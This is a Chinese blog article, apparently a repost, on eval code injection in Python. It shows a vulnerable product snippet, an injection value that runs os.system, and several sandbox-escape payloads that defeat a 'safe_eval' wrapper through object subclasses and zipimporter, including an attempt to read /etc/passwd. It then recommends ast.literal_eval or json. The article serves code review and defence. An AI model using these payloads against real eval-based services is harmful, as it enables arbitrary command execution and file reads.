python中的eval函数的用法(Python eval的常见错误封装及利用原理详解)
python中的eval函数的用法
Python eval的常见错误封装及利用原理详解最近在代码评审的过程,发现挺多错误使用eval导致代码注入的问题,比较典型的就是把eval当解析dict使用,有的就是简单的使用eval,有的就是错误的封装了eval,供全产品使用,这引出的问题更严重,这些都是血淋淋的教训,大家使用的时候多加注意。
下面列举一个实际产品中的例子,详情见[bug83055][1]:
|
def remove(request, obj): query = query2dict(request.post) eval (query[ 'oper_type' ])(query, customer_obj) |
而query就是post直接转换而来,是用户可直接控制的,假如用户在url参数中输入oper_type=__import__('os').system('sleep 5') 则可以执行命令sleep,当然也可以执行任意系统命令或者任意可执行代码,危害是显而易见的,那我们来看看eval到底是做什么的,以及如何做才安全?
1,做什么
简单来说就是执行一段表达式
|
>>> eval ( '2+2' ) 4 >>> eval ( """{'name':'xiaoming','ip':'10.10.10.10'}""" ) { 'ip' : '10.10.10.10' , 'name' : 'xiaoming' } >>> eval ( "__import__('os').system('uname')" , {}) linux 0 |
从这三段代码来看,第一个很明显做计算用,第二个把string类型数据转换成python的数据类型,这里是dict,这也是咱们产品中常犯的错误。第三个就是坏小子会这么干,执行系统命令。
eval 可接受三个参数,eval(source[, globals[, locals]]) -> value
globals必须是路径,locals则必须是键值对,默认取系统globals和locals
2,不正确的封装
(1)下面我们来看一段咱们某个产品代码中的封装函数,见[bug][2],或者网络上搜索排名比较高的代码,eg:
|
def safe_eval(eval_str): try : #加入命名空间 safe_dict = {} safe_dict[ 'true' ] = true safe_dict[ 'false' ] = false return eval (eval_str,{ '__builtins__' :none},safe_dict) except exception,e: traceback.print_exc() return '' |
在这里__builtins__置为空了,所以像__import__这是内置变量就没有了,这个封装函数就安全了吗?下面我一步步道来:
>>> dir(__builtins__)
['arithmeticerror', 'assertionerror', 'attributeerror', 'baseexception', 'buffererror', 'byteswarning', 'deprecationwarning', 'eoferror', 'ellipsis', 'environmenterror', 'exception', 'false', 'floatingpointerror', 'futurewarning', 'generatorexit', 'ioerror', 'importerror', 'importwarning', 'indentationerror', 'indexerror', 'keyerror', 'keyboardinterrupt', 'lookuperror', 'memoryerror', 'nameerror', 'none', 'notimplemented', 'notimplementederror', 'oserror', 'overflowerror', 'pendingdeprecationwarning', 'referenceerror', 'runtimeerror', 'runtimewarning', 'standarderror', 'stopiteration', 'syntaxerror', 'syntaxwarning', 'systemerror', 'systemexit', 'taberror', 'true', 'typeerror', 'unboundlocalerror', 'unicodedecodeerror',
列表项
‘unicodeencodeerror', ‘unicodeerror', ‘unicodetranslateerror', ‘unicodewarning', ‘userwarning', ‘valueerror', ‘warning', ‘zeroliisionerror', ‘_', ‘debug‘, ‘doc‘, ‘import‘, ‘name‘, ‘package‘, ‘abs', ‘all', ‘any', ‘apply', ‘basestring', ‘bin', ‘bool', ‘buffer', ‘bytearray', ‘bytes', ‘callable', ‘chr', ‘classmethod', ‘cmp', ‘coerce', ‘compile', ‘complex', ‘copyright', ‘credits', ‘delattr', ‘dict', ‘dir', ‘limod', ‘enumerate', ‘eval', ‘execfile', ‘exit', ‘file', ‘filter', ‘float', ‘format', ‘frozenset', ‘getattr', ‘globals', ‘hasattr', ‘hash', ‘help', ‘hex', ‘id', ‘input', ‘int', ‘intern', ‘isinstance', ‘issubclass', ‘iter', ‘len', ‘license', ‘list', ‘locals', ‘long', ‘map', ‘max', ‘memoryview', ‘min', ‘next', ‘object', ‘oct', ‘open', ‘ord', ‘pow', ‘print', ‘property', ‘quit', ‘range', ‘raw_input', ‘reduce', ‘reload', ‘repr', ‘reversed', ‘round', ‘set', ‘setattr', ‘slice', ‘sorted', ‘staticmethod', ‘str', ‘sum', ‘super', ‘tuple', ‘type', ‘unichr', ‘unicode', ‘vars', ‘xrange', ‘zip']
从__builtins__可以看到其模块中有__import__,可以借助用来执行os的一些操作。如果置为空,再去执行eval函数呢,结果如下:
|
>>> eval ( "__import__('os').system('uname')" , { '__builtins__' :{}}) traceback (most recent call last): file "<stdin>" , line 1 , in <module> file "<string>" , line 1 , in <module> nameerror: name '__import__' is not defined |
现在就是提示__import__未定义,不能成功执行了,看情况是安全了吧?答案当然是错的。
比如执行如下:
|
>>> s = """ ... (lambda fc=( ... lambda n: [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == n ... ][0] ... ): ... fc("function")( ... fc("code")( ... 0,0,0,0,"test",(),(),(),"","",0,"" ... ),{} ... )() ... )() ... """ >>> eval (s, { '__builtins__' :{}}) segmentation fault (core dumped) |
在这里用户定义了一段函数,这个函数调用,直接导致段错误
下面这段代码则是退出解释器:
|
>>> >>> s = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "quitter" ... ][0](0)() ... """ >>> eval (s,{ '__builtins__' :{}}) liaoxinxi@rcm - rsas - v6 - dev ~ / tools / auto_judge $ |
初步理解一下整个过程:
>>> ().__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'nonetype'>, <type 'notimplementedtype'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'encodingmap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.baseexception'>, <type 'module'>, <type 'imp.nullimporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.warningmessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._iterationguard'>, <class '_weakrefset.weakset'>, <class '_abcoll.hashable'>, <type 'classmethod'>, <class '_abcoll.iterable'>, <class '_abcoll.sized'>, <class '_abcoll.container'>, <class '_abcoll.callable'>, <class 'site._printer'>, <class 'site._helper'>, <type '_sre.sre_pattern'>, <type '_sre.sre_match'>, <type '_sre.sre_scanner'>, <class 'site.quitter'>, <class 'codecs.incrementalencoder'>, <class 'codecs.incrementaldecoder'>, <type 'struct'>, <type 'cstringio.stringo'>, <type 'cstringio.stringi'>, <class 'configobj.interpolationengine'>, <class 'configobj.simpleval'>, <class 'configobj.interpolationengine'>, <class 'configobj.simpleval'>]
这句python代码的意思就是找tuple的class,再找它的基类,也就是object,再通过object找他的子类,具体的子类也如代码中的输出一样。从中可以看到了有file模块,zipimporter模块,是不是可以利用下呢?首先从file入手
假如用户如果构造:
|
>>> s1 = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "file" ... ][0]("/etc/passwd").read()() ... """ >>> eval (s1,{ '__builtins__' :{}}) traceback (most recent call last): file "<stdin>" , line 1 , in <module> file "<string>" , line 6 , in <module> ioerror: file () constructor not accessible in restricted mode |
这个restrictected mode简单理解就是python解释器的沙盒,一些功能被限制了,比如说不能修改系统,不能使用一些系统函数,如file,详情见restricted execution mode,那怎么去绕过呢?这时我们就想到了zipimporter了,假如引入的模块中引用了os模块,我们就可以像如下代码来利用。
|
>>> s2 = """ ... [x for x in ().__class__.__bases__[0].__subclasses__() ... if x.__name__ == "zipimporter"][0]( ... "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module( ... "configobj").os.system("uname") ... """ >>> eval (s2,{ '__builtins__' :{}}) linux 0 |
这就验证了刚才的safe_eval其实是不安全的。
3,如何正确使用
(1)使用ast.literal_eval
(2)如果仅仅是将字符转为dict,可以使用json格式
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持开心学习网。
原文链接:http://xxlegend.com/2015/07/31/Python%20eval的常见错误封装及利用原理/
- eval解析json字符串
- python eval函数原理(浅谈Python中eval的强大与危害)
- python中的eval函数的用法(Python eval的常见错误封装及利用原理详解)
- eval详解python(深度辨析Python的eval与exec的方法)
- NameValueCollection用法
- mongodb eval 执行服务器端脚本
- eval在python里面什么意思(python 为什么说eval要慎用)
- 经度,世界时间腕表的灵魂(世界时间腕表的灵魂)
- 阿里最新财报公布 三季度营收增长3 ,将增加150亿美元回购额度 在美股价小涨(阿里最新财报公布)
- 赵薇时胖时瘦 最近变美少女 原因在这里 躺着就变瘦(赵薇时胖时瘦最近变美)
- 学会这26种姿势,你就可以和兵哥哥切磋了(你就可以和兵哥哥切磋了)
- 吴彦祖陈冠希 恩怨 ,失去曾让他流泪的女友,终遇走过18年真爱(吴彦祖陈冠希恩怨)
- 痴情男神 吴彦祖 与妻子恋爱8年,结婚10年,家庭幸福美满(痴情男神吴彦祖)
热门推荐
- 如何估算项目的开发时间
- web前端测试工具
- nginx怎么用ssl证书(制作能在nginx和IIS中使用的ssl证书)
- python3第三方库手册(使用python3构建文件传输的方法)
- dataset详解(DATASET 与 DATAREADER对象有什么区别)
- 仅主机模式搭建hadoop集群(阿里云服务器搭建hadoop集群补充)
- windowsftp服务与配置实验仿真(Wing FTP Server FTP服务器端安装使用教程)
- 最新版MySQL 8.0.22下载安装超详细教程(Windows 64位)(最新版MySQL 8.0.22下载安装超详细教程Windows 64位)
- pythonopencv自定义阈值算法(理想高通滤波实现Python opencv示例)
- apachessl证书怎么获取(Apache SSL服务器配置SSL详解)